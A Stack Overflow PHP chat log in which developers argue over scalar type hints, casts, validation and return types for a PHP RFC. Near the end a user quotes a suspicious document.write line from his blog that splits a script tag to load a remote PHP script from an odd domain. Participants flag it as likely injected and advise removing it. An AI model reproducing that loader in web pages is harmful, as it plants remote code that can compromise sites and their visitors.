« first day (1429 days earlier)      last day (3537 days later) » 

4:00 PM
@NikiC So you add (int) and there's still no validation.
 
no I don't
 
You, personally, don't
Lazy developers do
 
I fix the bug, rather than suppressing it
 
(int) will still fail in case you pass in an array or an object
which are indeed unexpected cases
 
@Ocramius Wrong.
An array just becomes 0, IIRC
 
4:00 PM
@AndreaFaulds I get a notice, which in my case makes my app crash.
 
Arg, I have a case where the docuwiki markup will not do what I want.
 
@Ocramius Ah, custom error handler :)
 
I keep trying different things and it keeps smashing things together >.<
 
@Ocramius Actually, no, that doesn't raise a notice.
 
@AndreaFaulds yeah, error handlers make no sense anyway
 
4:01 PM
(int)[] will never raise an error of any sort, it just results in zero.
 
oh, right, that's silly :|
 
Explicit casts are dangerous, we should discourage them. Strict hints encourage them.
 
no notice for array, dang :\
 
@AndreaFaulds I can see your point, but I still prefer the strict type.
 
@AndreaFaulds Actually, thinking about it, I don't think that they encourage them any more than what you propose.
 
4:02 PM
@AndreaFaulds why would casts be dangerous? They simply enforce something on a type, making all of my sub-system have one thing less to care about
 
+1 for strict, even though I am not qualified to participate in this discussion :)
 
I currently apply explicit casts in every constructor and setter for example
(for scalars)
 
Because: a) if you don't validate, you will need a cast in either case and b) if you do validate, then the cast is always safe. qed
 
@Ocramius they blindly convert, meaning that (apple) $whatever would always create an apple, even if it was a roller-coaster... Which makes no sense
 
What ircmaxell said
 
4:04 PM
@ircmaxell I'd expect a failure tbh, but yeah, a strict hint would help a lot there
 
Also, nice to see you @ircmaxell. What are your thoughts on the state of the RFC? I gave up on my plan B...
 
I think I just convinced myself that non-strict types don't make sense after all
 
@AndreaFaulds I don't think it's going to make it in. I think the only way to do it is change ZPP first, which simply isn't going to happen, so...
 
@ircmaxell welp
 
@NikiC explain...?
 
4:06 PM
> Because: a) if you don't validate, you will need a cast in either case and b) if you do validate, then the cast is always safe. qed
 
This is still the biggest motivation for strict types, from my perspective:
47 mins ago, by Levi Morrison
My thought on it is that PHP is a dynamically typed language. If I want to break out of that model I want it to be strictly typed.
 
@Ocramius Ah, but under this RFC, there's an implicit, somewhat safe cast
 
I still think we should do some dynamic conversion cleanup, though.
 
too much BC break
 
@AndreaFaulds there's safe and unsafe, not a "somewhat safe"
 
4:07 PM
at best we can throw some E_NOTICEs
 
@AndreaFaulds No, there isn't. I.e. you can not use it for purposes of validation.
 
No, I'd go so far as to say safe cast
It validates that it's an integer.
 
I gotta run, will talk more later
 
(int) does zero validation whatsoever
 
@AndreaFaulds You just don't get it
TYPEHINTS CANNOT BE USED FOR DATA VALIDATION
 
4:08 PM
@NikiC I realise that.
 
If you don't understand this fact, then further discussion is useless
 
The problem is the lazy developer who does no validation
 
then there's just a terminology problem :)
 
@NikiC s/cannot be used for/are not meant to be used for/
 
Strict hints encourage incredibly stupid ideas like using (int) if you're lazy
 
4:09 PM
@AndreaFaulds Okay, so you also understand that there is a requirement to add additional validation whenever dealing with user input?
 
@AndreaFaulds nobody cares nor will care about him, except for when he will fuckup security badly, at which point we can simply mock him.
 
@AndreaFaulds I understand that possibility. There is only so much we can do and should do for lazy developers in our language design.
 
@NikiC You ought to, yes. Well, to be honest, it depends.
A lot of user data needs no validation, or extremely limited validation if it has any.
 
@AndreaFaulds If you pass it to a typed function it will require validation.
@AndreaFaulds And as pointed out, with lack of validation the (int) will also be required for non-strict type hints
 
@AndreaFaulds if it requires no validation, then a cast is perfectly ok
 
4:13 PM
No, no and no
(int) mangles user data
 
So... I just stumbled over a bunch of `E_WARNINGS` and think they should be more than warnings: http://lxr.php.net/xref/PHP_TRUNK/Zend/zend_compile.c#5555
What does the room think?
 
@ircmaxell Does google use Java for gmail webserver or Python?
 
preparing this talk is fun \o/
 
(I needed to reboot so took some time.) expected input of a routine should be such which doesn't break the routine. so type hints in a loosely typed environment can help to ensure such. right now if I need an int, I need to typecast it inside a function or method close to the top. just to ensure preconditions for the following code are met. similar with string.
 
@AndreaFaulds so you have user data that is not an int that you pass to a method that explicitly wants an int? And you don't want to validate it for some reason? How does this make sense?
 
4:16 PM
@AndreaFaulds if the user data (valid or invalid) is not relevant, then the cast is perfectly ok
if the type of the data is relevant, then useland-specific validation (via a validator component, with user-friendly messages, etc) allows for safe casting
 
for what it's worth, my opinion, scalar typehints +1, casts -1
 
@Patrick If I pass something that's not int-shaped, shouldn't PHP just error?
 
I hate to do the casting all the time actually. not that I dislike having cast in PHP generally, but just for strictness reason writing the boilerplate code, perhaps forgetting it, then it would be more useful with parameter hinting.
 
@LeviMorrison I think that a warning is fine, if it overrides visibility / static later on (although I think it doesn't)
 
@Leigh These methods are not allowed to be private or static, so why only E_WARNING? Seems silly.
 
4:20 PM
@AndreaFaulds It should error if you don't pass an int. If you want something int-like, then you can validate for your specific constraints and then cast it.
 
@LeviMorrison warnings because of backwards compat?
 
@hakre Still necessary backwards compat?
 
@LeviMorrison I was thinking of it as more of a "warning, we're ignoring what you've asked for here, because it's not allowed"
 
Here's my thoughts, basically.
Say I have a function that gets a user by an ID that's an integer.
There's no real need to validate the input there, because if I get some garbage ID, it will just fail to get the user.
 
@LeviMorrison I can not say, it's just what I smell there.
 
4:22 PM
But say PHP adds strict hints. If we have strict hints, this encourages lazy developers (like perhaps myself if I'm hacking something together quickly) to use an explicit cast: getUser((int)$_GET['id'])
 
@AndreaFaulds no, because you are forcing the implementor of the API to handle any type passed in
@AndreaFaulds that means that the user of the API has to cast and then pass down the value to whatever DAL he's using
 
@AndreaFaulds If you think that the type doesn't matter, then you mustn't use a type hint
 
Give me a second, here.
 
If you use a type hint (be it strict or casting) then input validation will be required
 
The thing is that an explicit cast would turn garbage like "definitely_not_an_id" to 0, which is a valid ID.
Thus, it does something completely crazy and grabs the first user.
On the other hand, under this RFC, "definitely_not_an_id" errors (it's not int-shaped).
 
4:23 PM
@AndreaFaulds Basically, you are saying that "When PHP throws an error, I will not fix it and suppress it instead"
 
@Leigh Hmm. I think it doesn't override, just issues a warning.
 
@NikiC What?
 
by using a cast
using a cast there to supress an error is not much different from sprinkling @ all over your code
It's stupid. I have no sympathy for stupidity.
 
I'm not suppressing any error
 
And I wouldn't design a language to target stupid people.
 
4:25 PM
I'm using (int) to do a conversion
Explicit type casts do really insane conversions
 
@NikiC how would you get the $_POST value of an id? if (is_numeric($_POST[''])) $foo = (int) $_POST['']?
 
@FlorianMargaine I'd use ctype_digit
or a helper function with filter_var
 
Yeap, and that's explicit validation, which is what you need before using ANY user-input data anyway
 
To be honest, my main problem is PHP's lack of safe type conversions
There's no function that says "convert this string to an integer, error if it's malformed" that I can think of
 
4:30 PM
@AndreaFaulds that is trivial to build in userland
we have loads of validator libs
 
@Ocramius You really shouldn't have to, though, that's a common operation
Even JavaScript, of all languages, has this.
Even C.
 
@AndreaFaulds that's why I use a lib and I don't re-implement it myself :)
plus, if the API sucks, I change lib :P
 
The problem with strict hints is they encourage lazy developers to use our only built-in conversion method: explicit casts. Explicit casts never fail.
In JS this isn't a problem since you have safe casts.
 
@AndreaFaulds that's their fault, I don't see why you want to prevent this sort of mistake at language level
 
You could add strict hints to JS and I wouldn't complain, since I can convert properly.
@Ocramius Because you shouldn't make doing the right thing unnecessarily complicated
 
4:33 PM
for example, JS's parseInt() doesn't fail, it just returns NaN which propagates everywhere
then you have fun debugging it
 
@Ocramius Ah, no, but it does fail. It has an error value: NaN
 
NaN is a value, not an error value
 
No, it's an error value
You can check for it
We don't have a PHP equivalent
 
@AndreaFaulds we have NaN in PHP too?
 
@AndreaFaulds Leaving the validation off is not the right thing, which is what non-strict types encourage.
 
4:34 PM
@bwoebi For casts I mean
 
@AndreaFaulds if (n == NaN) have fun :P
 
@NikiC lol
 
@NikiC No, non-strict types still need validation.
The problem is a lack of safe casts. The easiest way to do things is the wrong way
 
@AndreaFaulds Great that we're at this point! So, it needs validation. Strict types force you to do validation+cast. Weak types allow you to not validate.
 
@NikiC Nope
 
4:36 PM
>.<
 
@AndreaFaulds "Safe casts" would likely need to integrate with a framework form component, for many practical purposes ;)
 
I say we call a recess and pick this back up tomorrow.
 
Strict types encourage the wrong behaviour: an explicit cast
 
we can introduce cast-or-throw-exception in the stdlib
but for many practical purposes that may not be what you want actually, I think that would be nice
 
Do something like that.
Argh, know what, I'll withdraw the scalar types RFC. Fuck PHP, it's impossible for us ever to support them.
Both camps are wrong. The middle way is wrong. And none of those options can pass.
@NikiC I'd like to add a parseInt and parseFloat that exactly match what JS does, because for all its faults, I think JS gets those functions right
They make validation really easy, I like that
 
4:39 PM
@AndreaFaulds if by "match" you mean returning NaN, then I don't think that's useful
 
I think JS's API for that is terrible - I'd simply want an exception there :\
 
if you mean accepting sane formats and throwing an exception otherwise, that's something I can get behind
 
@NikiC No, I don't want to throw an exception. Better to check explicitly with if. If you don't bother, you just get an error value.
 
so your return value is mixed again, which means that you need a second function call to see if the first one succeed
that's obnoxious and not helpful at all
plus it passes error values into all my domain layer
 
@AndreaFaulds Could you give a code sample?
Remember that NaN is not an integer
and also remember that NaN is a horrible abomination
 
4:41 PM
@NikiC Return FALSE or NULL or something for ints
@NikiC OK, one sec.
 
ah, so an int cast that doesn't return an int.
 
@Leigh Actually, it may force it to be public, non-static.
 
@NikiC Yes, it's an error value. Much like indexOf doesn't return a position on failure.
 
I can't find the code that would do that yet, but the test I did seems to indicate it still works.
 
        var price, savings;
        price = document.getElementById('estimated-price').value;
        price = toNumber(price);
        if ((Number.isNaN || isNaN)(price)) {
            alert("Please specify a valid price in pounds")
        } else {
            savings = Math.round(calculateSavings(price));
            document.getElementById('estimated-savings').value = savings;
        }
toNumber is a parseInt wrapper
        weight = parseFloat(weightBox.value);
        if (isNaN(weight) || weight <= 0) {
            alert('Voer a.u.b. een positief nummer in voor je gewicht.');
            return;
        }
 
4:44 PM
@AndreaFaulds Remember that these scalar types have to work on return types too.
 
okay, I think parse_int returning an error value (not NaN) might be okay
after all an invalid input is not an exceptional condition
 
Would be kinda crazy if I returned false but got int(0). Should be an error imo
 
though I suspect that the exception is easier to deal with practically. Especially for the lazy types ;)
 
@LeviMorrison Anthony just wanted to cast them, but I agree, it should be an error
@NikiC For float values, just returning NaN is actually quite nice. If you fail to validate something, you end up with an error value as the result of your calculations, rather than just garbage.
So it's obvious you did something wrong.
 
if (false === $id = parse_int($_GET['id'])) {
    throw new ValidationException('Invalid user ID');
}
@AndreaFaulds false is a lot clearer garbage and has no NaN comparison stupidity
NaN would still go through a float typehint, for example
 
4:47 PM
@NikiC NaN propagates for float, that's the beauty of it, though.
 
How do I insert a string into a clob field?
 
@NikiC Or, you can just do this if you're lazy: getUser(parseInt($_GET['id'])); - in the event it's an invalid ID, it's false and fails the typehint :)
 
I tried example #4 at php.net/manual/en/oci8.examples.php but can't get it work.
It inserts blank.
 
@AndreaFaulds no, you can't do that. you could only do that if it throws an exception instead of returning false
 
@NikiC If we have strict type hints, then false is an invalid int value, no?
 
4:49 PM
Maybe casting makes sense for parameters, but it feels very wrong for return types. What does not make sense to me is to make them behave differently.
 
@AndreaFaulds correct
 
@NikiC Thus, while not terribly gracefully, it'd fail.
 
anyone?
 
@AndreaFaulds I think the whole "any type constraint violation is a bug" thing hasn't gotten through yet
Failing typehint === bug. Failing typehint != normal runtime condition.
 
@NikiC I know it's not a normal runtime condition
That's my point. PHP will fail here if you fail to validate properly, rather than trundling on.
 
4:51 PM
yes it will. just saying that that code should not be written. If you want to write that kind of code, then parseInt should be throwing.
 
Oh sure, you shouldn't write such code. My point is that PHP failsafes here if you do.
 
k
that's right then :)
 
I feel like this scalar type declarations business has basically ignored return types, because we don't currently have them.
Even if the vote for my return types fails, it is reasonable to have return types in the future.
 
@LeviMorrison it won't fail :) It can't fail!
 
scalar type declarations should keep that in mind.
I think casting for return types would be ill received. We should not do it for parameter types either.
 
4:55 PM
I will withdraw the RFC and move on to... plan C. Muahahahaha!
 
@AndreaFaulds Wait a day
No need to rush things
 
Every day I get to think about return types more, and that's a good thing.
 
@NikiC Before withdrawing or before moving onto Plan C?
 
Better to mull it over :)
 
I'm actually glad it hasn't gone to vote yet.
It could have passed with constructors and destructors being able to declare type hints.. which is odd.
 
4:57 PM
@AndreaFaulds both ^^ unless you are totally sure that plan c is the right thing already
what is plan c, for that matter? ^^
 
public static function __castFrom(mixed $value): self;
 
eh
-1
 
What, really? :(
 
because segregation + terribly slow
I mean, this will make every project implement their own version of typehints. that would be terrible, I think
 
@NikiC Yes, but then the PHP-FIG would standardise on one :)
We could bypass internals :D
Also, it has benefits beyond scalar type hints
 
4:59 PM
well, I don't necessarily trust the judgement of FIG
and from what I've heard, I think they're starting to run into the same problems as internals ^^
 
For example: function sort(Sequence $mySeq, callable $compare = NULL): Sequence { ... } sort([1,2,3]);
 
@AndreaFaulds It has - in which case I'd introduce it after scalar typehints to ensure that nobody customizes those ;)
 
^^
 
@NikiC I have an idea: Scalar Type Hint
That lack of an s isn't an error
function foobar(scalar $x);
ducks
 
5:02 PM
not useful, imho
a primary reason for typehints is documentation and scalar gives you nothing
 
Yeah :/
 
@NikiC No....it's actually worse problems. FIG are trying to solve hard problems with a single solution for everyone everywhere for all time.....even though there are obviously multiple 'correct' solutions that people could choose between depending on their use case. It's just possible to have a single solution that satisfies everyone.
 
Just not possible?
 
@AndreaFaulds For example, they are trying to define the One True Cache interface that will cater for everyone everywhere, as well as be very simple. That is a problem that does not have a solution.
 
5:05 PM
There is a solution to the One True Cache that caters to everyone everywhere and is very simple
It's called a hashtable :p
 
memcached?
 
Instead of seeking solutions that everyone will use everywhere, they should be allowing multiple versions of solutions and allow people to choose between them.
 
Or just not 'standardize it'.
 
I'm tempted to write a language that's similar to CoffeeScript for PHP
 
I do not see the benefit of having a standardized caching interface.
 
5:08 PM
That's kind of the same thing - suggest some solutions, if people want to use them and they're useful they will. If they're not useful then trying to force the One True Way is a pointless waste of time.
 
@AndreaFaulds should we contact the emergency services ?
 
@tereško It wouldn't be a gigantuan task
 
neither is taking a dump in the middle of highway
 
I'd call it go.php
It's a pun on my favourite Ace Attorney character
 
@DaveRandom Are you in a position to recommend a place for people to meet for drinks for Friday before PHPNW? How about nicholsonspubs.co.uk/thebankmanchester
 
5:13 PM
@AndreaFaulds How goes ??
?
Need help of any kind?
 
...why do you all think I'm insane for some reason?
 
'One of us, one of us, one of us, one of us.'
 
@AndreaFaulds lol, I meant help with null coalescing operator ??
 
@LeviMorrison Oh.
Uh, I need to implement it.
and figure out how
While it's simple for someone like @NikiC, to be honest my understanding of variable lookups is rather primitive.
 
I'd start by looking at the AST for empty()
How it is generated, how it is used during compiling.
 
5:18 PM
empty is a special case
It is its own opcode
So is isset
We don't have that luxury
 
Are you sure?
Basically every operator has an opcode.
I'm not saying we NEED one.
 
Yes. Basically, I need to compile (foo()[0] ?? 2) to ($temp = foo(), isset($temp[0]) ? $temp[0] : 2)
 
But you can learn how they work.
 
@AndreaFaulds you don't need a new opcode. You just need to pass BP_VAR_IS to compile_var
I think
 
@NikiC How do I avoid double-compiling the foo() bit?
 
5:21 PM
@NikiC it's just restricted operator overloading… I thought you'd like operator overloading?
 
@bwoebi not sure where operator overloading comes in here
 
@NikiC casting is an operation too, at least in PHP
 
also, I'm not against that in general (but have not thought about it much yet), just not as a solution for scalar typehints.
 
So... I am having an issue with opcache and persisting the return type info.
 
<?go.php

square = (a) => a * a
fn square(a):
    return a * a

echo([1, 2, 3].map(square).join(', '))
How does that look? :D
 
5:24 PM
When I store the store the string in the opcode, I use zend_string_copy.
And then I change a line in zend_persist_calc.c to store it via zend_accel_store_interned_string.
But... maybe the string isn't interned? What should I do here? Anyone know?
 
@AndreaFaulds it looks like you really want to take a vacation
 
@AndreaFaulds shouldn't it be <?python.php?
 
@FlorianMargaine No, python is nowhere near as elegant
<?php

$square = function ($a) {
    return $a * $a;
};

echo implode(', ', array_map($square, [1,2,3]));

# or

function square($a) {
    return $a * $a;
}

echo implode(', ', array_map(square', [1,2,3]));
 
@NikiC So... I have an idea to do covariance checks at 'compile time'. It must actually happen at runtime, but it could happen immediately after the class compile time. Does that sound reasonable to you?
The idea is add a field to the zend_class_entry which contains functions to check for covariance. Alternatively I could iterate through all functions in the function_table and check for return types that need checked.
Anyway, when I have a list of functions that need checked, I could emit an opcode for each one.
This is the last big piece of the implementation I need to work out.
 
5:42 PM
Jenkins is java , right ?
 
@AndreaFaulds it looks like something which is definitely not PHP.
 
@Patrick My only feedback is that the first thing on each page is a description of what the rest of the page will do. e.g. "A front controller is a single file that all of the requests will be sent to. This allows us to have a single point of entry to all of the code that actually processes the requests".
 
first of all, that file processes the request for an application, because codebase can contain the multiple applications
 
@LeviMorrison we already have an opcode for verifying abstract classes / interfaces. You could either implement another one or hook in there
 
I think it has to be somewhere else because it's not just on abstract and interface, it is also on normal inheritance.
 
5:53 PM
and do just one opcode, not one per function
 
of course, for that to become important, you need to have codebase where you have one business model, with several front-facing apps: cms, website, rest api, etc
 
@NikiC So one opcode that checks all methods for return type correctness or something?
(for a given class)
 
@bwoebi but it could compile to PHP :D
 
`A front controller is a single point of entry for your application. All requests for the application will be sent to it and your code can handle them.`
is that technically correct and easy to understand for a beginner?
 
dunno ... where could we catch a "beginner" , and why said "beginner" would be learning advanced application architecture ?
also, if you are really using a "linear file" approach for implementation of front controller, then request really doesn't get sent to that file
 
6:03 PM
@tereško I want this to be an entry point for people who come in here asking what framework they should use and get the answer 'use php'. So it's aimed at people who have experience but mostly with frameworks
I'll just shorten it to the first sentence and add a link
 
6:35 PM
Turns out there was a function that I thought was being called at compile time that is called at runtime that I am already hooking into. Yay! End of return type patch is in sight!
 
tereško something what you may like to answer stackoverflow.com/q/25836625/2529486
 
Danack, duplicate?
 
@AndreaFaulds compile that to JS… It's not worthy of PHP.
 
6:51 PM
If PHP is not worthy, why does anyone try to improve PHP?
 
:DDD
 
@NikiC question related to abstract classes, why in the following code, is the declaration C->M considered incompatible with A->M?
abstract class A { abstract function M(A $a); }
class C extends A { function M(C $c){} }
Is there a legitimate reason why it should be considered incompatible, or is it just something that the engine can't / doesn't verify
Seems to be the same with interfaces too
 
7:06 PM
@Leigh Erm, because class B extends A { function M(B $c){} }. Class B and C cannot be swapped for each other.
i.e. any call to C::M with class B as the parameter will break, and you can't tell that it will break, if you are only aware of the abstract class A.
 
well of course, because the typehint in class C is for an object of type... C. The error is in the definition of the class, not even getting as far as calling the method.
if I wrote class C extends A { function M(A $a){} } then it compiles fine, but C extends A, so why is defining the method with a typehint of C instead of A incompatible?
 
"Is there a legitimate reason why it should be considered incompatible, " 'i.e. any call to C::M with class B as the parameter will break, and you can't tell that it will break, if you are only aware of the abstract class A.'
....because it's not compatible.
i.e. you need to be able to pass any type of object that is a subtype of A, not just some subtypes.
 
@Patrick: good to see others writing PHP tutorials - I'll have a read.
 
7:21 PM
@Leigh because of lsp
 
@Danack You're not only aware of A... you're also aware of C, which is compatible with A due to the fact is has to implement the abstract method
 
C is more specific than A, so this is an LSP violation. In PHP the reverse doesn't work either, but that's just dumb behavior ;)
 
@Leigh 'compatible' - just because they have the same methods, doesn't make them the same class. B != C
 
@Danack B doesn't exist. The typehint is for C, we don't need, want, or care about Bs
 
That is why you fail.jpg
 
7:25 PM
@Leigh You may want to read up on contravariance.
 
@NikiC And get some really good LSD first.
 
@Danack I think you just don't really get the point being made.
 
bwahaha
 
@Leigh I think the same thing about you :o)
 
can any body help me with this code
document.write ("<scr"+"ipt type='text/javascript' src='http://pIChaK.NEt/upper/scrolltopcontrol.php?t=22' ></s"+"cript>
what does it mean
 
7:32 PM
@Danack That's fine, since Niki understood ;)
 
what it can do
 
@Leigh Yes.....but he agreed with me, but with more technical terms.
 
@Danack No, you pretty much just came up with something irrelevant that would violate the typehint at runtime, where my question was related to a function signature incompatibility at compile time between a more specific subtype guaranteed to have the implementation required by it's abstract parent.
 
hello is there anybody
 
11 mins ago, by Danack
That is why you fail.jpg
 
7:35 PM
i just have some problem with this link
what it can be
 
hire a coder :3
 
@Markberg Can you ask a question on the main site? Don't forget to be absolutely clear what the problem is, and what you have tried.
 
is that some type of spam ?
that link looks way too shady to even click on
 
@Markberg: if you can include in your question why you are splitting up <script> tags, that would be helpful. That looks like it is designed to evade XSS detection.
 
@tereško so what i see it is just scroll top
 
7:38 PM
@Leigh The whole point of the type-hinting is to guarantee that the code meets a certain set of requirements and can be called safely. By making the subclass have a more specific type for its method, it means that the method cannot be called safely. And so it shouldn't be compatible.
 
... and now there is another tiny avatar
 
@halfer you know i see this code in the last line of this blog souce code
 
dam you, jason
 
i fear that the one who design my blog hack my blog would u plz to help me
through js
 
user image
4
 
7:42 PM
@Markberg: I can't see that link at the bottom of the blog (though I am running NoScript to be on the safe side)
If this is your blog and you don't know what that link does, ask the developer? Or you could just remove it.
 
@halfer sorry check it again
 
@Danack omfg I love it
 
Sorry, no time at the moment. If you have a demo of something on an external link, make sure it is working before you ask people to click it :-).
 
Programmer humour ftw.
 
@halfer sweet. let me know if you have any feedback :)
 
7:46 PM
Anyway, as I say, if you don't know what it does, delete it?
Will do @Patrick. First minor item - maybe on the front page explain what skill level someone should have to follow the tutorial. With Git, Composer, MVC-ish structure, I'd say it's not for beginners.
 
@halfer do u refer to me
to delete my code
 
Yes Mark - delete the bit of code for which you cannot identify a purpose. Or, ask the developer what it does.
(If you don't trust the developer, maybe get another one that does!)
* get another one that you do trust, I mean
 
@AndreaFaulds Way over the top reaction to a top post. It's not the end of the world.
 
@NikiC so this is something that could be solved with generics.
 

« first day (1429 days earlier)      last day (3537 days later) »